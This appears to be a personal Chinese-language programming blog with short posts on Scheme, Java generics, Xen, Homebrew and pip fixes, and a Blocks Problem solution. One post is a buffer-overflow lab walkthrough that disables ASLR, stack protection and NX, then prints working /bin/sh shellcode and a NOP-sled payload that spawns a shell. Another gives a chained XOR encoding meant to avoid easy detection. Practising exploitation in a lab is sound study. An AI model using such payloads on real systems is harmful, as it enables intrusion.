Where Am I ?

星期四, 9月 18, 2014

Visitor Pattern、Functor與Lambda

Visitor Pattern與Functor都是為了保留計算環境，再將其用做之後的計算以達到彈性的目的。
例如這樣的Java程式碼可以把someone中的元素都加上3:

AddVisitor add_v = AddVisitor(3);
someone.accept(add_v);

C++也可以做出類似的計算，只是比較麻煩就不寫在這。

上述兩者只需要Lambda所產生的Closure，就可以輕鬆達到了
例如下列Python程式碼:

add_v = (lambda x: lambda y: x + y)(3)
someone.accept(add_v)

Lambda遠比許多人所想的更有威力，不是嗎？

星期日, 8月 24, 2014

Java與C#的Generic Programming的比較

Java說everything is an object真是吃力不討好，很多簡單的東西也要包到物件裡面。
例如整數好了，在Java李就要分成Primitive type跟Wrapped Object。

為什麼要這樣分呢？
其實是為了Generic Programming而衍伸出來的做法。
因為在Java裡一切都是物件，所以連Generic中的東西都要用物件去包，才能保證語言的形態安全。
於是在Java裡面不能使用

Stack s;

而要使用

Stack s;

塞個東西進去要

s.push(Integer(1));

而不能使用

s.push(1);

這不僅是語法上的不便，更是造成實際執行的效能影響。
因為每個物件存取都需要在經過一層reference，比起1直接使用，
操作一多效率可就影響大了。

在這方面，C#中對built-in type的generic programming，例如Stack是允許的，相較之下可就顯得進步多了。

星期六, 5月 17, 2014

emac中編輯Scheme的快捷鍵

速記一些常用到的快捷鍵：

1. c-x 2
將目前Ｗindow一分為二

2. c-x o
不同Window切換

3. c-c c-e
把當前游標的expression，丟給變數scheme-program-name中的Interpreter

4.c-x b
把指定buffer讀到當前Window

5. c-shift 左右鍵
左鍵: 將當前expression中最後一個推到現在expression後面
例如 (+ 1 1 (+ 2 2))就會變成 (+ 1 1) (+ 2 2)
右鍵則相反

6. c-/
Undo

7. c-g c-/
Redo

8. Set Mark c-@

9. Copy & Paste c-c & c-v

星期一, 10月 07, 2013

初探Higher Order Procedure（一）

若一支程序會去修改一另支程序，來達成某種目的，則此程序可稱之為Higher Order Procedure。此外，此程序的參數要是程序。接下來的說明就用Scheme語言來表示。

現在舉一個例子，我們需要寫一支程序，能把某區間的所有整數相加後回傳，Scheme程序如下：

(define (sum-integer a b)
(if (> a b)
0
(+ a (sum-integer (+ a 1) b)))

使用此程序能把從a到b間的整數相加。而今天有另外一件事，是想要相加某區段立方體體積，則可以用下列程序表示：

(define (cube x) (* x x x))
(define (sum-cube a b)
(if (> a b)
0
(+ (cube a) (sum-cube (+ a 1) b)))

可以觀察到sum-integer及sum-cube都有很大程度的相似，這時就可以用Higher Order Procedure來簡化。未來有各種類似工作，都可以此輕鬆達到相同目的：

(define (sum term a next b)
(if (> a b)
0
(+ (term a) (sum term (next a) next b))))

term是用來產生每一個單位的程序。next則是接後現在的值，產生下一個要處理的值。a及b不消分說，就是開始以及結束了。使用此Higher Order Procedure後，我們可以改寫原本的sum-integer & sum-cube如下：

(define (identity x) x)
(define (sum-integer a b)
(sum identity a 1+ b))
(define (cube x) (* x x x))
(define (sum-cube a b)
(sum cube a 1+ b))

多有用的一種程序。能把程序寫的簡單又明瞭，除了Scheme以外，我想用其他現在流行的程式語言(C, C++, Java, C#)要達到相同效果，無非是邯鄲學步吧！光是要能直接用程序作為參數，Java就需要借用Command Pattern才行......

星期日, 6月 16, 2013

Chained XOR Encoding

通常以單一的XOR作為Key，很容易就被發現了。

因此發展另一概念：
1. 以Content的頭或尾作為第一把XOR Key
2. 用這把Key去XOR，產生的OUTPUT作為下一個Byte的Key

PoC Python Code

a = [0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]
key = a[-1]
e = []

for i in range(len(a)):
out = a[i] ^ key
e.append(out)
key = out

print "Encoded Bytes: ", e

d = []
for i in range(len(e)-1, 0, -1):
d.append(e[i] ^ e[i-1])
d.append(e[0] ^ d[0])
d.reverse()
print "Decoded Bytes: ", d

星期五, 7月 27, 2012

sizeof(bug)

關於C語言中的sizeof，如果不小心可能會產生蟲兒。

來看一下程式碼及執行結果：

MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))

main(){
int d = -1, x;

if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F

為什麼d明明是-1卻印出F呢？

其實是因為sizeof回傳的形態皆為unsinged。

加上當進行signed int d與unsigned int比較時，signed int會被轉成unsigned int。

所以d在是-1的情況下，其signed bit為1，當其轉為unsinged時，signed bit就成為most significant bit，使得d轉為極大的數了。

修正方法只要加上型態轉換即可：

if(d <= (int) TOTAL_ELEMENTS - 2)

星期四, 1月 05, 2012

Booting Kernel inside the Xen Paravirt Dom U

記錄一下
先create image，然後將Dom 0的

#xen-create-image --hostname=squeeze-1 --size=8Gb --dist=squeeze --memory=256M --dhcp
....
#mount -o loop=/dev/loop2 /home/xen/domains/squeeze-1/disk.img /mnt/
#cd /mnt/boot
#cp /boot/vmlinuz-2.6.26-1-xen-686 ./
#cp /boot/initrd.img-2.6.26-1-xen-686 ./
#mkdir grub
#cd grub/
#cp /boot/grub/* ./
#vim device.map
#vim menu.lst
# cat device.map
(hd0) /dev/sda
## cat menu.lst
...
...

title Debian GNU/Linux, kernel 2.6.26-1-xen-686
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro quiet
initrd /boot/initrd.img-2.6.26-1-xen-686

title Debian GNU/Linux, kernel 2.6.26-1-xen-686 (single-user mode)
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro single
initrd /boot/initrd.img-2.6.26-1-xen-686

最後就是/etc/xen/squeeze-1.cft中的設定，要指定kernel位置以及root fs的位置

#
# Configuration file for the Xen instance squeeze-1, created
# by xen-tools 3.9 on Thu Jan 5 17:35:59 2012.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-2.6.26-1-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-1-xen-686'
memory = '256'

#
# Disk device(s).
#
root = '/dev/sda ro'
disk = [
'file:/home/xen/domains/squeeze-1/swap.img,sda1,w',
'file:/home/xen/domains/squeeze-1/disk.img,sda,w',
]

指定disk.img export 到/dev/sda，然後再指定root是/dev/sda

星期四, 11月 03, 2011

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式

csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

為了能夠順利練習，需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization

root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard，在gcc compile時加上參數

gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack，需要額外把NX bit關掉

user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow

csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`

可以看到長度約在504之後會寫到EIP，接著看ESP在大概在哪。

(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300，就是要覆寫的ret address。
接著就準備shell code，參考連結。

csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

大致上準備好了，可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中，就可以順利執行Shell Code了。

(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$

Boom！拿到Shell了。

星期四, 10月 20, 2011

Homebrew Update Error

出現以下訊息，應該是git有點問題。

From http://github.com/mxcl/homebrew
* branch master -> FETCH_HEAD
error: Your local changes to the following files would be overwritten by merge:
share/man/man1/brew.1
Library/Homebrew/formula_installer.rb
Library/Formula/xpdf.rb
Library/Formula/wine.rb
Library/Formula/webalizer.rb
Library/Formula/tofrodos.rb
Library/Formula/ssldump.rb
Library/Formula/squirrel.rb
Library/Formula/sphinx.rb
Library/Formula/sleepnow.rb
Library/Formula/skipfish.rb
Library/Formula/schroedinger.rb
Library/Formula/rebar.rb
Library/Formula/rabbitmq.rb
Library/Formula/qdbm.rb
Library/Formula/pure.rb
Library/Formula/pkg-config.rb
Library/Formula/parallel.rb
Library/Formula/openvpn.rb
Library/Formula/mcl.rb
Library/Formula/lilypond.rb
Library/Formula/libvirt.rb
Library/Formula/libsamplerate.rb
Library/Formula/libao.rb
Library/Formula/ledit.rb
Library/Formula/jack.rb
Library/Formula/gst-plugins-good.rb
Library/Formula/geeqie.rb
Library/Formula/freealut.rb
Library/Formula/fontforge.rb
Library/Formula/ddclient.rb
Library/Formula/ddate.rb
Library/Formula/d-bus.rb
Library/Formula/cscope.rb
Library/Formula/cppdom.rb
Library/Formula/celt.rb
Library/Formula/cd-discid.rb
Library/Formula/cairomm.rb
Library/Formula/bsdiff.rb
Library/Contributions/manpages/brew.1.md
Library/Contributions/examples/brew-audit.rb
Please, commit your changes or stash them before you can merge.
error: The following untracked working tree files would be overwritten by merge:
Library/Formula/zookeeper.rb
Library/Formula/zdelta.rb
Library/Formula/vip.rb
Library/Formula/vcodex.rb
Library/Formula/sshfs-fuse.rb
Library/Formula/nickle.rb
Library/Formula/isc-dhcp.rb
Library/Formula/gst-plugins-ugly.rb
Library/Formula/gst-plugins-bad.rb
Library/Formula/go-gui.rb
Library/Formula/fluxus.rb
Library/Formula/exodriver.rb
Library/Formula/djvulibre.rb
Library/Formula/cdrdao.rb
Library/Formula/c10t.rb
Library/Formula/blahtexml.rb
Library/Formula/bigloo.rb
Library/Formula/aws-iam-tools.rb
Library/Formula/aget.rb
Library/Aliases/sshfs
Library/Aliases/liblabjackusb
Please move or remove them before you can merge.
Updating 959edff..6cf7c80
Aborting
Error: Failed while executing git pull http://github.com/mxcl/homebrew.git master

Google一下後，成功解決，做個記錄。

$sudo chown -R `whoami` /usr/local
$cd /usr/local
$git add .
$git stash
$git reset --hard
$brew update

星期一, 8月 01, 2011

The Blocks Problem

Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
The problem is to parse a series of commands that instruct a robot arm in how to manipulate blocks that lie on a flat table. Initially there are n blocks on the table (numbered from 0 to n-1) with block bi adjacent to block bi+1 for all $0 \leq i < n-1$ as shown in the diagram below:

\begin{figure} \centering \setlength{\unitlength}{0.0125in} % \begin{picture} (2... ...raisebox{0pt}[0pt][0pt]{$\bullet \bullet \bullet$ }}} \end{picture} \end{figure}
Figure: Initial Blocks World

The valid commands for the robot arm that manipulates blocks are:

    move a onto b

    where a and b are block numbers, puts block a onto block b after returning any blocks that are stacked on top of blocks a and b to their initial positions.

    move a over b

    where a and b are block numbers, puts block a onto the top of the stack containing block b, after returning any blocks that are stacked on top of block a to their initial positions.

    pile a onto b

    where a and b are block numbers, moves the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto block b. All blocks on top of block b are moved to their initial positions prior to the pile taking place. The blocks stacked above block a retain their order when moved.

    pile a over b

    where a and b are block numbers, puts the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto the top of the stack containing block b. The blocks stacked above block a retain their original order when moved.

    quit

    terminates manipulations in the block world.

Any command in which a = b or in which a and b are in the same stack of blocks is an illegal command. All illegal commands should be ignored and should have no affect on the configuration of blocks.

The Input
The input begins with an integer n on a line by itself representing the number of blocks in the block world. You may assume that 0 < n < 25.

The number of blocks is followed by a sequence of block commands, one command per line. Your program should process all commands until the quit command is encountered.

You may assume that all commands will be of the form specified above. There will be no syntactically incorrect commands.

The Output

The output should consist of the final state of the blocks world. Each original block position numbered i ( $0 \leq i < n$ where n is the number of blocks) should appear followed immediately by a colon. If there is at least a block on it, the colon must be followed by one space, followed by a list of blocks that appear stacked in that position with each block number separated from other block numbers by a space. Don't put any trailing spaces on a line.

There should be one line of output for each block position (i.e., n lines of output where n is the integer on the first line of input).

Sample Input

10
move 9 onto 1
move 8 over 1
move 7 over 1
move 6 over 1
pile 8 over 6
pile 8 over 5
move 2 over 1
move 4 over 9
quit

Sample Output

0: 0
1: 1 9 2 4
2:
3: 3
4:
5: 5 8 7 6
6:
7:
8:
9:

#include
#include
#include

#define MOVE 000
#define PILE 010
#define ONTO 000
#define OVER 001

struct block{
int value;
struct block *next;
};

char* readline(FILE*);
void moveonto(int, int, struct block**, int *);
void moveover(int, int, struct block**, int *);
void pileonto(int, int, struct block**, int *);
void pileover(int, int, struct block**, int *);
void push(struct block**, struct block*, int, int *);
struct block* pop(struct block**, int);

int main(int argc, char **argv){
struct block **table,*block_entry;
char *line, *tok;
int *block_index;
/* Remember where table_index of the block is */
int op1, op2, i;
short act, table_size=0;

/* Initialize the blocks world */
line = readline(stdin);
table_size = atoi(line);
if(table_size >= 25 || table_size <= 0) return 0; table = calloc(table_size, sizeof(struct block **)); block_index = calloc(table_size, sizeof(int)); for(i = 0; i < table_size; i++){ block_entry = (struct block*) malloc(sizeof(struct block)); block_entry->value = i;
block_entry->next = NULL;
table[i] = block_entry;
block_index[i] = i;
}

while(strlen(line = readline(stdin)) > 0){
if(strcmp(line, "quit") == 0)
break;
act = 0;
tok = strtok(line, " ");
if(strcmp(tok, "pile") == 0)
act += PILE;
op1 = atoi(strtok(NULL, " "));
tok = strtok(NULL, " ");
if(strcmp(tok, "over") == 0)
act += OVER;
op2 = atoi(strtok(NULL, " "));
if(op1 == op2 || block_index[op1] == block_index[op2]
|| op1 >= table_size
|| op2 >= table_size
|| op1 < 0 || op2 < 0) continue; switch(act){ case MOVE+ONTO: moveonto(op1, op2, table, block_index); continue; case MOVE+OVER: moveover(op1, op2, table, block_index); continue; case PILE+ONTO: pileonto(op1, op2, table, block_index); continue; case PILE+OVER: pileover(op1, op2, table, block_index); continue; } } /* Print the blocks world */ for(i = 0; i < table_size; i++){ block_entry = table[i]; printf("%d:", i); while(block_entry != NULL){ printf(" %d", block_entry->value);
block_entry = block_entry->next;
}
printf("\n");
}

return 0;
}

void push(struct block **table, struct block *entry, int index, int block_index[]){
struct block *ptr;
if((ptr = table[index]) == NULL){
table[index] = entry;
block_index[entry->value] = index;
return;
}
while(ptr->next != NULL)
ptr = ptr->next;
ptr->next = entry;
block_index[entry->value] = index;
entry->next = NULL;
}

struct block* pop(struct block **table, int index){
struct block *ptr, *pre;
pre = NULL;
ptr = table[index];
while(ptr->next != NULL){
pre = ptr;
ptr = ptr->next;
}
if(pre != NULL)
pre->next = NULL;
else
table[index] = NULL;
return ptr;
}

void moveonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a and b to the orignal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2) /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block b */
push(table, block_entry, block_index[op2], block_index);
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void moveover(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a to its orginal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void pileonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over b to its orginal place.
*/
struct block *block_entry, *pre=NULL, *next;

while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2){ /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
}
else{ /* It is the block b, so push back */
push(table, block_entry, block_entry->value, block_index);
break;
}
}

/* Make a list to keep the order */
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

void pileover(int op1, int op2, struct block **table, int block_index[]){
struct block *block_entry, *pre, *next;

/* Make a list to keep the order
*/
pre = NULL;
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

char* readline(FILE* f){
char* ret = (char *) calloc(0, sizeof(char));
char c;
int len = 0;

while((c = fgetc(f)) != EOF && c != '\n'){
ret = (char *) realloc(ret, sizeof(char) * len + 2);
ret[len++] = c;
ret[len] = '\0';
}
return ret;
}

心得
1. Input不要去預設Range，像是人家說整數不要自己認為是正整數。
2. 做OR運算先後順序，要多多注意

星期四, 6月 09, 2011

pkg_resources.DistributionNotFound: pip==0.8.2

今天pip突然怪怪的，出現下列訊息：

cacaegg:~ cacaegg$ pip
Traceback (most recent call last):
File "/usr/local/bin/pip", line 5, in
from pkg_resources import load_entry_point
File "build/bdist.macosx-10.3-fat/egg/pkg_resources.py", line 2607, in
File "build/bdist.macosx-10.3-fat/egg/pkg_resources.py", line 565, in resolve
pkg_resources.DistributionNotFound: pip==0.8.2

所以就看一下：

cacaegg:~ cacaegg$ cat /usr/local/bin/pip
#!/usr/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==0.8.2','console_scripts','pip'
__requires__ = 'pip==0.8.3'
import sys
from pkg_resources import load_entry_point

sys.exit(
load_entry_point('pip==0.8.3', 'console_scripts', 'pip')()
)

都改成0.8.3就可以了。

星期二, 4月 26, 2011

bind9 failed to start : resolvconf: Error: /etc/resolv.conf must be a symlink

解法如下：

#cd /etc/resolvconf/
mkdir run
sudo mv ../resolv.conf ./run/
sudo ln -s /etc/resolvconf/run/resolv.conf /etc/resolv.conf
cd /etc/resolvconf/run/
mkdir interface
/etc/init.d/bind9 restart

Okay, let's all.

星期四, 3月 17, 2011

setup numpy and matplotlib under mac os x 10.6

當然先用pip安裝好來

$pip install numpy
$pip install matplotlib

然後想測試時，發生如下的import error

$ python
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
Traceback (most recent call last):
File "", line 1, in
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/pyplot.py", line 6, in
from matplotlib.figure import Figure, figaspect
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/figure.py", line 10, in
from axes import Axes, Subplot, PolarSubplot, PolarAxes
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/axes.py", line 6, in
import matplotlib.numerix.npyma as ma
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/__init__.py", line 166, in
__import__('ma', g, l)
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/ma/__init__.py", line 16, in
from numpy.core.ma import *
ImportError: No module named ma

找不到ma模組，找了一下後發現改位置了

>>> import numpy
>>> print numpy.__version__
1.5.1
>>> print numpy.core.ma
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ma'
>>> print numpy.ma

>>> quit()

因此去修改下列檔案

$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py
$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py

裡面有import numpy.core.ma的都改一下

try:
from numpy.core.ma import *
except ImportError:
from numpy.ma import *

最後就可以成功了

$ python
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
>>> plt.plot([1,2,3,4])
[]
>>> plt.ylabe('some numbers')
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ylabe'
>>> plt.ylabel('some numbers')

>>> plt.show()

Happy hacks ; )

星期二, 3月 15, 2011

Mac OS 安裝MySQL-Python

前幾天升級到Python2.6.6時候原本正常的MySQLdb突然出現如下訊息

$ python -c 'import MySQLdb'
Traceback (most recent call last):
File "", line 1, in
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/MySQLdb/__init__.py", line 19, in
import _mysql
ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/_mysql.so, 2): Symbol not found: _mysql_affected_rows
Referenced from: /Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/_mysql.so
Expected in: dynamic lookup

花了整晚時間東找patch西找版本，真是難搞...

最後想不到去把mysql重新安裝成universal就輕鬆解決了。

pip uninstall MySQL-python
brew uninstall mysql
brew install mysql --universal
pip install MySQL-python

參考

星期日, 2月 20, 2011

利用DNS query查詢Wikipedia

頗有趣的東西，只要查詢xxx.wp.dg.cx的txt record就可以了！

如下指令

bin cacaegg$ dig txt unix.wp.dg.cx
; <<>> DiG 9.6.0-APPLE-P2 <<>> txt unix.wp.dg.cx
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 131 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0 ;; QUESTION SECTION: ;unix.wp.dg.cx. IN TXT ;; ANSWER SECTION: unix.wp.dg.cx. 86400 IN TXT "Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix" ;; AUTHORITY SECTION: wp.dg.cx. 3600 IN NS ns.na.l.dg.cx. wp.dg.cx. 3600 IN NS ns.eu.l.dg.cx. ;; Query time: 942 msec ;; SERVER: 192.168.11.1#53(192.168.11.1) ;; WHEN: Sun Feb 20 14:12:53 2011 ;; MSG SIZE rcvd: 483

嫌太多資訊嗎？加上個short吧。

bin cacaegg$ dig +short txt unix.wp.dg.cx
"Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix"

星期二, 2月 15, 2011

兩種在Linux下拿到亂數的方法

1. 寫個函數，從entropy拿。
linux kernel中有個entropy pool，這pool是由許多環境上的隨機因子造成的，
如Keyboard輸入的時間，滑鼠移動到的位置，disk存取的時間等等。
函式如下

unsigned long get_random(void){
unsigned long seed;
int fd;

fd = open("/dev/urandom", O_RDONLY);
if(fd == -1){
perror("open");
return 0;
}
if(read(fd, &seed, sizeof(seed)) < 0){ perror("read"); return 0; } if(close(fd)) perror("close"); return seed; }

2.另外一種方法，直接使用dd

$dd if=/dev/urandom of=/tmp/rand bs=1b count1

簡單又快速

星期四, 2月 10, 2011

Vim 尋找並取代

在命令模式下輸入

:%s/pattern/replacemet/g

就會取代所有的

要注意的是如果要group的話，
要加上escape的符號才行，如下：

然後在replacement裡面
\0 代表match的pattern
\1 group1
依此類推

數量限制特別一點，只要加前頭就好：

\{n,m}

星期日, 1月 30, 2011

當前命令的路徑

有時候常忘記自己所執行的command在系統中到底在哪，

因此在這裡記錄一下，上次找了一次又忘記，
放在這總不會忘了。

$ which easy_install
/usr/bin/easy_install

-a 所有找的到的
-s 只回傳數字，1有找到，0沒找到。

星期五, 1月 28, 2011

用Django, Orbited, Stomp 來完成Server Push 功能

現行的ajax大多都是需client有事情，才發request對server，拿資料做事。

如果換成server有事想通知web client呢？

用Django + Orbited + Stomp 就可以完成了。

Orbited : 很神奇的東西，用javascrip+html提供了socket的功能，所以在這socket上就可以實作各種東西。

等等會把stomp client和這在browser端整合。

Stomp：只要有stompclient，就可以接收stomp broker的message了。

首先進行安裝

easy_install install orbited
easy_install install stomp.py

在django project的目錄下，加上個orbited.cnf，內容是

[listen]
http://:9000
stomp://:61613

[access]
